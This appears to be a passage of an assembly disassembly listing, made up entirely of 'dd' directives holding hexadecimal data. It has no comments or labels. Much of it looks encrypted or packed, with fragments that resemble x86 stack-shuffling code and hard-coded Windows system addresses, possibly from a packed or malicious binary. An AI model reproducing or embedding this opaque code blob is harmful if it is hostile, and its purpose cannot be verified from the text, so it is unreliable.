		dd 7E7C3B7Ah, 0B3DF1678h, 0B863D3DBh, 3F393F54h, 479FA45Ch
		dd 20435AD9h, 2679F712h, 0CD14196Ch, 29BA08E0h,	6980BF61h
		dd 59ED0C46h, 0C606322Eh, 0FAD900E8h, 0D82B4A50h, 854470D3h
		dd 0B393AB34h, 0EF4EEF4h, 48A77B54h, 0D3BCEDECh, 566A5h
		dd 0FAB49C00h, 6F270EE0h, 0E69E8355h, 5911FACCh, 0D18B6D3Fh
		dd 0C47962B7h, 3C0E28E2h, 0B2849E58h, 2BFD17CFh, 91718B45h
		dd 0D32E83A6h, 0D64821D2h, 0E09AC63Ch, 65810A1Ah, 66AAFE04h
		dd 5073B2C9h, 29BA8361h, 50DC66F0h, 0CBA2B83Fh,	2AE4C678h
		dd 5CA2C524h, 9A2E59FFh, 0F279385Bh, 0B20521D9h, 657DCBAEh
		dd 0DCE246E1h, 27536ABDh, 1C3FAB14h, 21D9A995h,	2A8A8EE1h
		dd 5AA7ADF1h, 0DA5F9B13h, 7F59A421h, 0E4DBE098h, 0B61469DEh
		dd 53D4A788h, 4B6689C8h, 3321DA58h, 0D13CDCE0h,	0A7793C52h
		dd 0B11DA1h, 0E2670000h, 29BAA09Bh, 19FF89C7h, 0B8BD7558h
		dd 0D0FC16C1h, 0AACDE441h, 29BAA10Fh, 110F1467h, 0CF876A2Bh
		dd 0A11C95B8h, 0F6229BAh, 0F31E4A64h, 19F671D9h, 7D2890BFh
		dd 2FFB2766h, 0CE24FFF5h, 1AD2B96Bh, 0EAE8D114h, 449E29B9h
		dd 0ABA2A75Fh, 0EB407194h, 0E33629B9h, 0A4D03338h, 0DE049CDAh
		dd 626A103Bh, 17228084h, 866C666Ch, 9B86B2CCh, 2D60839Ah
		dd 0C929BA4Fh, 7E13549Dh, 0D7DD93AAh, 90CA0CB8h, 2689F3F4h
		dd 0CFD48E74h, 0E1282DD8h, 29BA17CCh, 0A955AAD7h, 8DB0C766h
		dd 29BA1800h, 0CD0C2376h, 0BA1807AAh, 161C6F29h, 9CB2B4h
		dd 0D1480000h, 0B6D9F04Fh, 2E5AA49Ch, 0CCCACF22h, 0EB172EE8h
		dd 13B2A3FCh, 1E808664h, 0F50C2DF2h, 34F3DCB6h,	9B92974Fh
		dd 0EA7EAF0h, 6821D9E4h, 3C91015h, 40CE64A1h, 0FE2C82DFh
		dd 3EAC2BA4h, 0BEC47E64h, 553Ah, 4CD18400h, 7497D6EDh
		dd 29BAA13Dh, 81E0E639h, 0BAA1535Eh, 0D3D82B29h, 0A8CBF1D5h
		dd 29BAA109h, 7D371B75h, 2BD68178h, 0A838E511h,	14F3F21h
		dd 0D4EB96F9h, 0BA61ACB1h, 0D2D72A29h, 0BAA2228Bh, 0FF548129h
		dd 546BCE53h, 9C543B15h, 220A5396h, 0F94C29BAh,	452BE5DFh
		dd 4923868Bh, 6BEA160h,	595F565Bh, 0A8BF795Fh, 71B95F7Ch
		dd 494FD034h, 0CF55BBE7h, 728934ECh, 0BE765933h, 79BCC2B9h
		dd 2E5A0685h, 0DC947953h, 5F64B7D6h, 0D9F99518h, 0EA47A821h
		dd 0D4415694h, 0AE7AA653h, 8F448070h, 2091B4CBh, 5621DA42h
		dd 3779FD03h, 0C3000000h, 0D9F04FD1h, 5A5F19FFh, 0DBFE5D63h
		dd 2E5AA017h, 6C240761h, 7F59BCC1h, 624F7296h, 1C21DAA0h
		dd 0D5181EC9h, 21DA9FD8h, 51AF0465h, 53D4EB15h,	1093Eh
		dd 452B8800h, 0F7DC9B84h, 98433A3Fh, 63332D94h,	45F084F7h
		dd 0A6604240h, 3BDA3A1h, 0CF6F9BFEh, 12FAF7B6h,	472D272Dh
		dd 808FA286h, 8EABBE94h, 372E33DEh, 7657728Ch, 0C029BA2Fh
		dd 2F535E81h, 0D82B29BAh, 38F2D8D2h, 85A8E71Eh,	29BA2F2Ch
		dd 2EC2EF12h, 69BC29BAh, 99513892h, 0DBF29D94h,	0BA2EF9B8h
		dd 2C328529h, 8D924C32h, 354CEB35h, 5A101412h, 0E8FF522Eh
		dd 502B86A9h, 5321DAh, 0A46C98FAh, 0A94D7087h, 0DF2677CCh
		dd 0A55D4620h, 3AEA9A0h, 7B29B7B4h, 7C813B21h, 0B8D6DA85h
		dd 0DE17D2FFh, 71B0C772h, 0F5FAB297h, 0A426F92h, 0E93C29B8h
		dd 5C3E383Eh, 0D4B688A2h, 0A273411Ah, 0A38CE60Eh, 21E75h
		dd 42FCE400h, 0B76F5628h, 2EE6CB9Dh, 0A1594214h, 19D3B587h
		dd 0C01AAFFh, 8456702Ah, 0FACCE6A0h, 73455F17h,	0D9B9D38Dh
		dd 0CFE6CBEEh, 1E9021D2h, 23492B84h, 0BAA0B100h, 0CF7ACD29h
		dd 43FDE3B5h, 4FD12F29h, 779AD9F0h, 29BAA13Ah, 5B3FF144h
		dd 9FA59CA1h, 9FD51D40h, 11EB2E5Ah, 4B6A7028h, 0AA550FF1h
		dd 18D0B993h, 248DB013h, 5A21DAA0h, 9565C07h, 0DA9FEBC2h
		dd 9CF15221h, 0D4EB003Eh, 0D92B53h, 0F9380000h,	0DA93DBD6h
		dd 4A50A321h, 5B87C628h, 0A4C8B196h, 0B100FBA7h, 0CD29BA89h
		dd 947A747Ah, 3372D5DAh, 0BA89A110h, 848ADD29h,	0E9EEA88Ah
		dd 0BA8E2BA2h, 10CAB029h, 2B3E24F6h, 595920E5h,	0AAAF5A40h
		dd 5A71CE52h, 5A50EF37h, 0C7EA292Eh, 21DA8EEAh,	1C3B4194h
		dd 0EFD8B2C9h, 353B3237h, 0BA79A7D3h, 5D780A3h,	0DC2F2678h
		dd 4E6386C5h, 2829B7F6h, 9670CFD5h, 0EE0FAB4h, 0D199722Ch
		dd 0EEE60EB5h, 111D705h, 9F10000h, 7C63354Fh, 0F3D8AAC4h
		dd 664F213Bh, 0E0C294AEh, 0EB70C26h, 637D3719h,	0D9F3AD91h
		dd 526C2407h, 0C6E09A80h, 0D9D8FBE6h, 0A521D2CEh, 87C69933h
		dd 0BAA14D64h, 0D0D62929h, 203AF4D6h, 0FCE3BDE9h, 78ED0F5Bh
		dd 2429E1C6h, 472D272Dh, 0C679738Dh, 0A14D6487h, 0D62929BAh
		dd 36F0D6D0h, 934D3331h, 31164279h, 0AC052880h,	0D229B9A8h
		dd 83CD7B7Fh, 30E0343Ah, 0A7B9DCF3h, 0F52E5C70h, 777D371Bh
		dd 5F17FE58h, 0B3B8635Ah, 0FB15CFB5h, 0FA1D4329h, 21D370B7h
		dd 0D4DD00BFh, 0AA21D370h, 0EA01AC57h, 81682710h, 22CDC4C9h
		dd 7E361F1Dh, 25D78279h, 37848A42h, 6E6E4F0h, 0DF997F18h
		dd 3FF7DCDAh, 0AC91433Ah, 477CEFF4h, 6180A7EAh,	0A9614822h
		dd 71B03AEh, 0BAA0F8h, 5BD0D629h, 14CEB406h, 884228FAh
		dd 0E49C8583h, 67BCE9DFh, 9FE384B0h, 545D43DDh,	0B46E544Eh
		dd 28E2C89Ah, 0DF523h, 0F4E0000h, 77DC5ECh, 585EB1F8h
		dd 2B662436h, 86848943h, 0E3E1E6A0h, 45434800h,	0A4A2A761h
		dd 50308C2h, 66646923h,	0C2C0C57Dh, 222025DDh, 6D7E833Bh
		dd 81E78957h, 4C7h, 4EF8300h, 5C243C87h, 57243489h, 0C781E789h
		dd 4, 8704EF83h, 895C243Ch, 89532434h, 4C381E3h, 83000000h
		dd 1C8704EBh, 3C895C24h, 0BCBA5224h, 8907E7C6h,	24148BD6h
		dd 8104C483h, 4ECh, 24248900h, 4240481h, 5F000000h, 3DF468h
		dd 24348900h, 0FF08478Fh, 835F2434h, 34FF04C4h,	0C4835E24h
		dd 0AC69E904h, 0AAFBFFF8h, 341AF42Ah, 1328E0C0h, 0B1244735h
		dd 0D3FCB832h, 0C50307E7h, 101CE0FFh, 0F3FE78C0h, 0EF9C48D6h
		dd 61EC5DEBh, 0F68B23E7h, 0E11B0AD8h, 12E84787h, 4A000000h
		dd 80134541h, 0CCD9F6EEh, 0F2989D42h, 0D2A0228Dh, 0CE991h
		dd 0E0500000h, 0FD744458h, 0D18B1270h, 605FB0DCh, 0F18B5A57h
		dd 80C78161h, 66000062h, 0B8D2F081h, 6E9C933h, 0F7000000h
		dd 835F6BBCh, 3934FF69h, 8B57B560h, 8B5B61D6h, 12C381D1h
		dd 0E9054E89h, 6, 0BF03B48Ah, 0EB814B35h, 110EAE81h, 81F38B66h
		dd 9EFAE6EBh, 0B70F604Ah, 14E8D6h, 86E10000h, 0A5F8092Dh
		dd 44B347CAh, 0F2BEB361h, 0D1E09FA3h, 615AA64Bh, 0E8816653h
		dd 48F726Bh, 0F78B660Fh, 2A30BA66h, 6602E983h, 0A486E681h
		dd 0AE94949h, 0E8000000h, 8EEFD8h, 93635580h, 80F981D4h
		dd 0FFFFF9Eh, 1B85h, 88A0F00h, 0F000000h, 28Eh,	0E9D18B00h
		dd 2Fh,	2F574C66h, 389E0DA1h, 5E960h, 0A6EF0000h, 66DC9F6Fh
		dd 619054BBh, 0FFFF50E9h, 0C323ACFFh, 2DC519EAh, 65D5B306h
		dd 64A3F1BCh, 0E987D565h, 0ECh,	0
		dd 77E7AC37h, 77E75CEBh, 77E73C49h, 77F7E21Fh, 77F7E300h
		dd 77E60000h, 2, 5 dup(0)
		dd 77E7A5FDh, 2Ch dup(0)
		dd 2, 32118AC5h, 369C6622h, 0B01A3E35h,	32156694h, 0C4CFE624h
		dd 321577CAh, 605C0A11h, 4009C39Ah, 921B0B3Eh, 96FFB26Ch
		dd 534D7374h, 34A4DB0Bh, 471561A4h, 0F7A8E52Bh,	32128610h
		dd 61457FFCh, 23ADA6CFh, 0BB156626h, 0D2359394h, 5088EB8Fh
		dd 0CD1284F8h, 0B14D3DF1h, 0D214A3ACh, 2561668Fh, 23AD3514h
		dd 0BB156626h, 0D2359394h, 6388EB8Fh, 0CD1284FDh, 3D4D3DF1h
		dd 32156792h, 5AEC9A88h, 32156EDCh, 0BB3172ABh,	68C5EFD3h
		dd 3209EF87h, 0B81A6644h, 32156634h, 321577F8h,	0AEDD6388h
		dd 6ADF32h, 8874CB86h, 62F97540h, 8F960CB7h, 35F2B388h
		dd 7E916922h, 3D156611h, 32156B0Bh, 0F3940644h,	4F3EB312h
		dd 7A0D35A8h, 0B79807F8h, 35F2A36Eh, 0CAC599DBh, 0ECA26971h
		dd 2D13B009h, 0BF744EF3h, 0D5D03CA7h, 27966916h, 0DB156688h
		dd 32156654h, 7E9E9993h, 0D814C5Bh, 0DD65B606h,	779B7C32h
		dd 0F4E0B6DDh, 0D2123F94h, 3CFC308Fh, 20156644h, 98198298h
		dd 0BA1E7CA4h, 0E1FE9C33h, 8A470E10h, 3FFCFA8Ah, 0E8156611h
		dd 0CC816D6Eh, 0DB1C9A80h, 0D21BCB09h, 1B38D3EEh, 26FC6168h
		dd 2A156644h, 6B460390h, 6B7C2F04h, 5D42BDBh, 99768BD2h
		dd 0BF02041Fh, 0D16A8E94h, 3E9D698Fh, 3D156644h, 321560ADh
		dd 32976911h, 0CD156688h, 339A6994h, 0CB156622h, 355CE398h
		dd 0B51A6168h, 32156640h, 5388D542h, 22B8E3D6h,	32156168h
		dd 3AFC6644h, 96156622h, 5D04FF3Dh, 0CA27F798h,	354CE382h
		dd 3D5061C2h, 32157797h, 32198F88h, 31466644h, 0FB7BDD2Eh
		dd 1070BD7Ch, 5B7D2540h, 0C79B142Dh, 1D14D3DDh,	34FC61F1h
		dd 0ED156688h, 0BB6A7093h, 0CA90EB76h, 0CB128628h, 0BBEDB677h
		dd 0D22147C1h, 32068F25h, 0B4826611h, 0B9A2A303h, 10CA0040h
		dd 0DF0D4668h, 0B048A274h, 6B90A023h, 71128643h, 3214E22Dh
		dd 5AED6611h, 0AE720DD6h, 32156EADh, 6EC7AB22h,	0C0971CC8h
		dd 33A09997h, 0C712866Bh, 0BEDE3AFh, 0CDEC61F1h, 3EFD0658h
		dd 0C8156644h, 0B1ACC49Dh, 859E2E32h, 0B98CE189h, 0BB743897h
		dd 0D5C0D2A7h, 32018F16h, 0FDFA6688h, 24A4A62Fh, 329AEB43h
		dd 0E5B56B2Ah, 0E43CA279h, 0B7D36903h, 35F5617Bh, 32058F45h
		dd 0F2366688h, 257B7FDh, 0B51A87C4h, 8D626716h,	1B7D5411h
		dd 0DBFB042Ch, 32156631h, 77CEEB64h, 9834B9Dh, 2985160Fh
		dd 0D90F7382h, 0CD994EA2h, 0D23A673Dh, 0B7989E43h, 35F55FDAh
		dd 0E1940071h, 0CD7416F8h, 0B79C9F94h, 35F2B39Ah, 6B90A0E8h
		dd 7712868Fh, 3212E24Bh, 0BC1A6622h, 32156610h,	0AD70E71h
		dd 0BE1ABC24h, 32156623h, 33A099E4h, 0CB1286A7h, 0BEDE3C9h
		dd 0B37561C2h, 575789F7h, 0E4AA69F2h, 0CEC59925h, 0E7A9E3ABh
		dd 0B31A61F6h, 32156689h, 38FC06BCh, 0FE156622h, 0C00D59DFh
		dd 78451785h, 55AD00B2h, 8F960700h, 35F570A0h, 5E906988h
		dd 0DB156645h, 32156629h, 75AFA1DCh, 2098042Bh,	0F4514682h
		dd 0D2123FA7h, 5AEC2316h, 0C835180Eh, 0E5949F24h, 7236951Ah
		dd 33A09970h, 521286A7h, 3210E14Bh, 0B3736622h,	0CEB4E7C1h
		dd 0CA90EBE9h, 3D12867Dh, 321574ACh, 32188F11h,	81E36688h
		dd 0BC7A4981h, 0B70EB5A2h, 3D960AAFh, 32156E05h, 30956944h
		dd 52156622h, 52C59970h, 32156C61h, 2A05E644h, 0FF6D759Fh
		dd 0B3AF0D28h, 11D55A56h, 0B79C077Bh, 35F2B3E2h, 321560F8h
		dd 1A89E88h, 0CBAA81A0h, 354CE3E4h, 0CB5961F1h,	32157261h
		dd 0E735DB44h, 0FD301F76h, 35D7F650h, 0D6FC6E9Ah, 25CF2D31h
		dd 0E2D60ED7h, 0B91A8637h, 32156686h, 32156FADh, 0D563F422h
		dd 832B980h, 87EAB2E1h,	35F54945h, 321561CBh, 14703111h
		dd 0F3F9543Fh, 0BEDE3C9h, 0B01A61C2h, 32156610h, 3CFC0674h
		dd 156644h, 87D9BCDCh, 0D541CDBDh, 673ED7A7h, 32078FD8h
		dd 0B9046622h, 4585DADFh, 76AAAA0Ch, 43DAB379h,	4E6834C0h
		dd 0DBC59970h, 3215668Eh, 1B99BBCh, 0B79C9B67h,	35F2B3D5h
		dd 32157761h, 22776A44h, 51A2CBA8h, 5194BFA4h, 1EEE3597h
		dd 0DBE9CE62h, 3215672Bh, 349B6971h, 0B3156688h, 1A437C85h
		dd 32018F27h, 0F5686611h, 30097362h, 311A5B22h,	1FD5F14Ah
		dd 4544F0C2h, 0F4748C07h, 0D2123FC1h, 54753425h, 0D09FA59Ah
		dd 3F7D9EE9h, 3DA92CA0h, 321567A1h, 87EA9A11h, 35F57E95h
		dd 42D4E624h, 32156ACBh, 0C2A2A211h, 2333F196h,	9BCA559Ah
		dd 0B798079Ah, 35F55FE9h, 3DC59970h, 321567C7h,	0DB759322h
		dd 3215661Ah, 1F90CE88h, 5F88EF82h, 3D81BE05h, 32156695h
		dd 0B79C0788h, 35F2B384h, 6AAB0042h, 32138F12h,	9CC86688h
		dd 478CBED6h, 6B90A043h, 60128616h, 32156361h, 6FD90444h
		dd 7A7DDC78h, 3DB32A5Bh, 32156108h, 33926944h, 0C7156622h
		dd 2A08D3EEh, 0BC1A6168h, 3215664Fh, 321560CBh,	0DBD15711h
		dd 0BF48F810h, 0D22C9EC1h, 0E2EA9A25h, 26986971h, 0DA156688h
		dd 3215664Ah, 0D32B67BEh, 0E081F966h, 30A59AF5h, 0B34D2F76h
		dd 0BC6087F0h, 0B79C0702h, 35F2B34Ch, 6B90A0B1h, 60128625h
		dd 321577F8h, 28F6D88h,	4DA5A9EAh, 750DFC81h, 0C6C026C0h
		dd 0D87DC8B7h, 52E824F0h, 53E00E95h, 32156CF8h,	2625E688h
		dd 3BD3CB77h, 0CDC07D61h, 0D23A67A4h, 0B7989A8Fh, 35F55FBCh
		dd 0B9739E42h, 0E2EA07D2h, 32156A61h, 0EF5F1744h, 0BE5AE2Bh
		dd 2B027861h, 1F90EFE0h, 0CE12865Ch, 354CE3E4h,	3D6261F1h
		dd 32156C06h, 32108F44h, 90846622h, 5A17961Ah, 0C182CE2Bh
		dd 3200E94Bh, 22FC6622h, 0D8156611h, 1A577FE9h,	39313721h
		dd 65F9800h, 0CD7D8CA1h, 0D225E33Dh, 3AFC9A43h,	27156622h
		dd 1D5BB1Ah, 0BFC16811h, 0D22C9EC1h, 0E8940625h, 611224D2h
		dd 53D7EDEEh, 8575B6BBh, 309769CBh, 60156611h, 0B79C07D1h
		dd 35F548CDh, 32156ECBh, 8A7A2F11h, 0D1092248h,	6B90A0FAh
		dd 60128625h, 3212E21Eh, 0BC1A6688h, 32156645h,	321B8FD7h
		dd 7C5E6611h, 0F108C005h, 61EDD1F8h, 0A4848AC0h, 0EF247179h
		dd 321A8F02h, 93BB6644h, 3CE2A5FCh, 93AC163Bh, 0FB374A7Fh
		dd 33A0990Dh, 0CB12860Dh, 0BEDE39Ch, 52756168h,	54743817h
		dd 0CD7494A9h, 2A9569C1h, 3D156688h, 321574C2h,	32188F22h
		dd 0A59E6611h, 301E2285h, 0C9E9A88Fh, 0BB489325h, 0D214EB94h
		dd 32078F8Fh, 72116644h, 0DB040DECh, 7FE1F592h,	0EC7D22C4h
		dd 681E3A80h, 321DED2Dh, 0BB1A6611h, 3215668Ah,	0B7D30724h
		dd 35F5617Bh, 0B7D9347h, 0CAC179E5h, 1B38D3BBh,	0B37561C2h
		dd 0CE3029E7h, 209769E9h, 0DA156644h, 3215662Eh, 0F123E8DCh
		dd 320C9947h, 5A709F21h, 0B798077Bh, 35F619F9h,	3214E387h
		dd 0CDE06644h, 0B79C9FF2h, 35F57E48h, 32156861h, 0F29A2B44h
		dd 186EB957h, 44D14ECAh, 0F42E2899h, 0D2123FC1h, 3D752125h
		dd 0B373B0A6h, 53950469h, 0EE051C2Ch, 8A7306A3h, 0E0958A20h
		dd 87EA071Eh, 35F54945h, 320EEB2Dh, 0B71A6611h,	3215669Dh
		dd 321576ADh, 0D36222h,	7DCE054h, 0C90FD3Dh, 6D72CD59h
		dd 2791694Dh, 52156611h, 32156861h, 44CCD644h, 455D69FEh
		dd 38DC43Dh, 5317E265h,	0BEDE3C9h, 547561C2h, 0DB7292A8h
		dd 32156684h, 0BAD29DF8h, 0F6376FF5h, 0E004B431h, 0DBC599E9h
		dd 3215664Dh, 1D393429h, 0A605CAFDh, 0D390EFA5h, 0DB12865Eh
		dd 3215662Bh, 0B71FB720h, 8610567Fh, 6B90A030h,	75128625h
		dd 0B2C3ED71h
		dd 5A742C53h, 0B81AD3A6h, 3219EA2Dh, 0BF1A6611h, 3215668Eh
		dd 3215EE4Bh, 87EA6622h, 35F54910h, 0A02ED8E8h,	53ED38FEh
		dd 0BEDE3AFh, 3DE061F1h, 32157401h, 37FD0644h, 22156622h
		dd 0E4B56099h, 0F19400D7h, 0CD74F8F7h, 229569F2h, 0DB156611h
		dd 32156683h, 3B26D617h, 69A54D94h, 0BBE6CD78h,	0D5C0820Dh
		dd 3F946943h, 0DB156622h, 32156619h, 9F89131Fh,	76A418EDh
		dd 3214E22Dh, 0F5E96611h, 0D2031B0Dh, 32151E43h, 8F969A22h
		dd 35F54478h, 77916988h, 3D15665Eh, 321576A3h, 38986911h
		dd 0DB156688h, 32156641h, 9132A8E6h, 6B90A093h,	7E12868Fh
		dd 5818DF24h, 8D1A6EEAh, 0DB7D07D7h, 3DCCBC94h,	321576C6h
		dd 35FC0622h, 1156611h,	4524E4BBh, 5375F1ABh, 321B8F43h
		dd 614C6611h, 0A422A7C5h, 0FBE05A9h, 0EF587140h, 1D14D3EEh
		dd 3DFC6168h, 25156644h, 0DFA2F1C7h, 0B1A04BEBh, 518AFAF7h
		dd 0B51AB119h, 32156606h, 321D8F71h, 252A6688h,	8A919544h
		dd 3DFD241Dh, 17156611h, 0B16F763Ah, 237F1EDEh,	72A793F8h
		dd 534B62BDh, 0BEDE305h, 547561A4h, 0D9E7A0A3h,	53C5ED77h
		dd 37FCB677h, 2D156644h, 0F69E9134h, 0E7C5E398h, 0F4E0616Fh
		dd 0D2123FC1h, 54752A25h, 0AD738C90h, 321FE787h, 37FC6644h
		dd 0AC156622h, 91AD8E04h, 21FC06E9h, 0E4156644h, 9D860ACCh
		dd 66A7C72Bh, 0EA305E24h, 6A04FEC6h, 5446583Dh,	0DF03AC90h
		dd 0FC7D07D3h, 52C8129Ah, 0B6D9DC44h, 0CD74B89Ah, 0D23A673Dh
		dd 0B7989A43h, 35F55FDAh, 32128F71h, 98F56688h,	0B0D24305h
		dd 0CD7493DFh, 0B79C9EC1h, 35F2B35Ch, 32156BADh, 513AEF22h
		dd 0AA2A28FCh, 2591C6ACh, 0B7D351ABh, 35F5617Bh, 321A8F5Dh
		dd 0CB536688h, 3F0F5984h, 0B8128CABh, 41F1599Bh, 0B02A0ED2h
		dd 0B275D1C5h, 851AACFDh, 87EA07CEh, 35F54989h,	3FC7E724h
		dd 896222A1h, 1CEF0EF5h, 0CA90EBE9h, 5212867Dh,	13CBE744h
		dd 32188F9Fh, 844B6688h, 0B29D6CE6h, 4500E12Fh,	530B8BE2h
		dd 0BC1AB677h, 32156663h, 32128E42h, 78586611h,	4FC60429h
		dd 21FC3EF7h, 7E156622h, 5857758Eh, 0BCB8CDBBh,	0FFDCE892h
		dd 0D102BEA2h, 0DB74269Ah, 32156686h, 4D01EA40h, 0DD81FC05h
		dd 2B83AD5Bh, 0B79C2C91h, 35F2B39Ch, 321CEE2Dh,	0B8756611h
		dd 0E594007Ch, 0F4746E80h, 0D2123FA7h, 0DA752A16h, 32156698h
		dd 0F6976A78h, 58070FA2h, 88DE1872h, 788F038Bh,	4F048FC5h
		dd 534E1C2Fh, 1D557E79h, 5444063Bh, 0B0BBDC5h, 32048F7Ch
		dd 3DA86611h, 0BA703F0Bh, 71113081h, 0C867FA86h, 53CE074Dh
		dd 32156161h, 0F5C16744h, 3B5BE9B9h, 1D14D3EEh,	0DA756168h
		dd 3215664Fh, 0E0057C7Ah, 0ED633CB0h, 0B39E8DFAh, 1E152DA6h
		dd 0B3733D67h, 536F40CAh, 0BEDE305h, 0CDE061A4h, 38FD06F2h
		dd 39156611h, 6A45E9D5h, 0E9A2F3D0h, 6A740645h,	0B79C07E4h
		dd 35F2B350h, 32156AADh, 503A6422h, 0B511ECB0h,	7C9CAFEAh
		dd 6B90A067h, 74128625h, 34010EE9h, 3CFCDC56h, 53156644h
		dd 664BB03Ch, 0E6206879h, 38368363h, 33A099CBh,	5212860Dh
		dd 9A8DF2AEh, 71FAE796h, 531B58EAh, 0BEDE3AFh, 0CDE961F1h
		dd 0B41A0658h, 32156646h, 81AA9692h, 534EEF88h,	0E7F5E301h
		dd 0BE1A61A3h, 32156623h, 6B90A0E8h, 7512868Fh,	3214E34Bh
		dd 5AED6622h, 0B3C9766Bh, 3D65D0E8h, 0CD74BFFBh, 0D23A6797h
		dd 0B7989F16h, 35F55F70h, 321568ADh, 5F25C922h,	0B55B838Dh
		dd 34994854h, 0CDCC8EF8h, 321A8FF2h, 0A63E6611h, 96773E56h
		dd 0BAF42F59h, 0D4A4D683h, 32018F01h, 7C286688h, 37BCC40Bh
		dd 0B7D357C1h, 0CBD127AAh, 882C1CEEh, 0B79CF53Dh, 35F2B3CAh
		dd 32078F71h, 36F46688h, 0CFB6FE90h, 0FAA980B7h, 0BFC06D3Ch
		dd 0C16DEF33h, 321F8E24h, 5DB56622h, 0AE2EA7F8h, 957B57F3h
		dd 329D691Fh, 53156622h, 6B90A070h, 7512868Fh, 320DEA4Bh
		dd 3D756622h, 3CFC9DAEh, 73156688h, 69CE3D8Eh, 307E87C8h
		dd 0E8E4D37Ah, 9E7D075Dh, 0DBFAE1CAh, 3215662Dh, 80D07AB7h
		dd 8A652578h, 770D6E5Fh, 0CDF149D6h, 0D23A67A4h, 0B7989E8Fh
		dd 35F55FBCh, 36936942h, 54156611h, 54C46630h, 534450FDh
		dd 0B81AB6DDh, 32156616h, 0C4AA69E8h, 0BB749ECFh, 0D5C08AA7h
		dd 3F946916h, 0DB156688h, 3215664Ch, 442B5A9Fh,	0C834B2CAh
		dd 354CE34Eh, 525261A4h, 5A743D73h, 0E68FC1C3h,	32157261h
		dd 0F06CCD44h, 0E2251A34h, 0F8BB6333h, 3EBF2B9Ah, 0CE2F2674h
		dd 33A09905h, 0CB12863Eh, 0BEDE305h, 0CDEC61A4h, 321B8FF2h
		dd 69FC6611h, 0E28F4D38h, 0A79EB28h, 8B170747h,	0E7E5E398h
		dd 0B41A616Fh, 32156648h, 0FBAD0042h, 329869B7h, 53156688h
		dd 6B90A0BCh, 75128625h, 321576F8h, 0F5FA0188h,	0DC658FC8h
		dd 6DCD9E84h, 0D88F6387h, 0B110E02h, 39FCDC85h,	13156622h
		dd 0BE3AAA85h, 0ABC3959h, 87EAC77Ch, 35F54923h,	321DE21Eh
		dd 0B81A6688h, 32156646h, 0B7980742h, 35F55FE9h, 0DBC59974h
		dd 32156642h, 37770DA3h, 0B79C87FFh, 35F2B37Ch,	3211E44Bh
		dd 61756622h, 8F96074Fh, 35F566D9h, 89906944h, 0CE156622h
		dd 354CE3D7h, 52526168h, 32156CADh, 0D695522h, 1AA9A0F7h
		dd 0DB33AEA7h, 3215664Ah, 0E950DF2Eh, 2DA1800Ch, 77762172h
		dd 5A749EE9h, 0D2674B45h, 321569F8h, 0E608B788h, 0ABBC5F7h
		dd 55E6D765h, 8F76F86h,	32157561h, 219E6244h, 0EA03AACh
		dd 6D2C7F67h, 0C9D9E6C9h, 28B197F3h, 1D14D3DDh,	0BC1A61F1h
		dd 32156691h, 3206E54Bh, 3CFC6622h, 0BA156611h,	73F9D4A1h
		dd 0B6874453h, 74DB135Bh, 0B7989E34h, 35F55F70h, 3DC599BCh
		dd 321569A9h, 321F8F11h, 1516688h, 32EBDE99h, 94E22DB2h
		dd 0E7EDE398h, 3DFC616Fh, 8A156644h, 8D6C3817h,	102F80FAh
		dd 99E653DFh, 0B7D300A9h, 35F5617Bh, 837D9A56h,	3D9B4F3Bh
		dd 321567C1h, 87EA9A22h, 35F54910h, 3202E687h, 52756644h
		dd 321B8F43h, 46236611h, 0D65A463Fh, 89E42207h,	2F36603Fh
		dd 0B7989A70h, 35F55F70h, 2EB5D924h, 3AFC09BAh,	0D5156611h
		dd 0FAFB9C1Ch, 537B06FBh, 5275B6DDh, 0DCD7E777h, 0DA749340h
		dd 3215664Ah, 823851DCh, 0C167511Ch, 4249BDF6h,	0B01A265Fh
		dd 32156622h, 0B79C074Fh, 35F2B374h, 32138F24h,	0E7FB6622h
		dd 0C58DEEE3h, 53D6D187h, 354CE382h, 3D5661C2h,	32156E9Fh
		dd 8D1A0688h, 0F99E008Fh, 78B20E43h, 0DA75A667h, 32156685h
		dd 0D09466Ah, 5F2264h, 1F8A6090h, 32198FC0h, 76E46644h
		dd 59CDC2DDh, 8589713Ah, 524C73D0h, 0F8AB00BDh,	0CD740797h
		dd 0D23A67A4h, 32048F8Fh, 2DDB6644h, 610CE636h,	307DCE1Ch
		dd 76FF9232h, 0BFCF403Ah, 0D22C9EA7h, 0CDED9E16h, 0B79C9E58h
		dd 35F2B044h, 3202EA2Dh, 0DB756611h, 32156685h,	0FA11C3CEh
		dd 6E2B84C7h, 0D0380F94h, 0F99E00FEh, 6B90A025h, 7E128625h
		dd 2A986971h, 0DA156688h, 32156656h, 1194FF9Eh,	0EB96E997h
		dd 7FF2F4DFh, 27369869h, 0CB4D43B9h, 5EFE0E70h,	0BA1A9DEEh
		dd 32156648h, 321561CBh, 7E209011h, 0E0CDB3C4h,	290D3BBh
		dd 0B61A61C2h, 3215661Ah, 0FD9E00E8h, 3215EB4Bh, 0BF746622h
		dd 0D22C9E94h, 3598698Fh, 52156644h, 0F6957D95h, 0E2EA0746h
		dd 32156F61h, 0EA05A644h, 0E4D16E25h, 38FC69A5h, 8E156688h
		dd 0D3377255h, 0B9B65891h, 0A690EF91h, 5212815Eh, 37FCA9CFh
		dd 0BD156622h, 5897A4FCh
		dd 6B90A0E9h, 76128643h, 677D9ADEh, 0DBAE159Fh,	32156698h
		dd 0CE058E9h, 820070AFh, 5A390394h, 0F1B12E1Eh,	1D14D3BBh
		dd 0BFEC61C2h, 0D22C9E94h, 0B01A068Fh, 32156640h, 0AFD9DE44h
		dd 321560F9h, 0D827DB88h, 54155316h, 0FF37B8A3h, 0E2EA074Ah
		dd 0EA9E06E8h, 30AB90FBh, 0BB740750h, 0D5C36294h, 32018F8Fh
		dd 0A6A6644h, 7A483C1Ch, 0BB2656A4h, 0B9492208h, 0D993916Fh
		dd 0B275B7FDh, 0B37355D9h, 5370FB5Ah, 354CE382h, 0DB5661C2h
		dd 3215661Bh, 48840E25h, 84CC164Eh, 0CE7D07D9h,	0CAA9E87Fh
		dd 1D14D377h, 0C77561A4h, 0CA90EB43h, 52128628h, 0FBD6DCEEh
		dd 321574ADh, 0AF70FA22h, 356FAA40h, 981F9212h,	0FDEFB1E7h
		dd 53AAA86Eh, 0B01AB6EEh, 32156687h, 32156CADh,	0E22F3A22h
		dd 0C4E4FF5Dh, 0BBD9DAC2h, 0D5C36EC1h, 321F8F25h, 855B6611h
		dd 51821742h, 0AA1BF391h, 354CE3E4h, 524661F1h,	3217E887h
		dd 61A66644h, 0DB740D93h, 32156600h, 89360299h,	0B00757F3h
		dd 65D547B8h, 448A2F52h, 0CBF0EC2h, 0CDE9A054h,	0D23A6797h
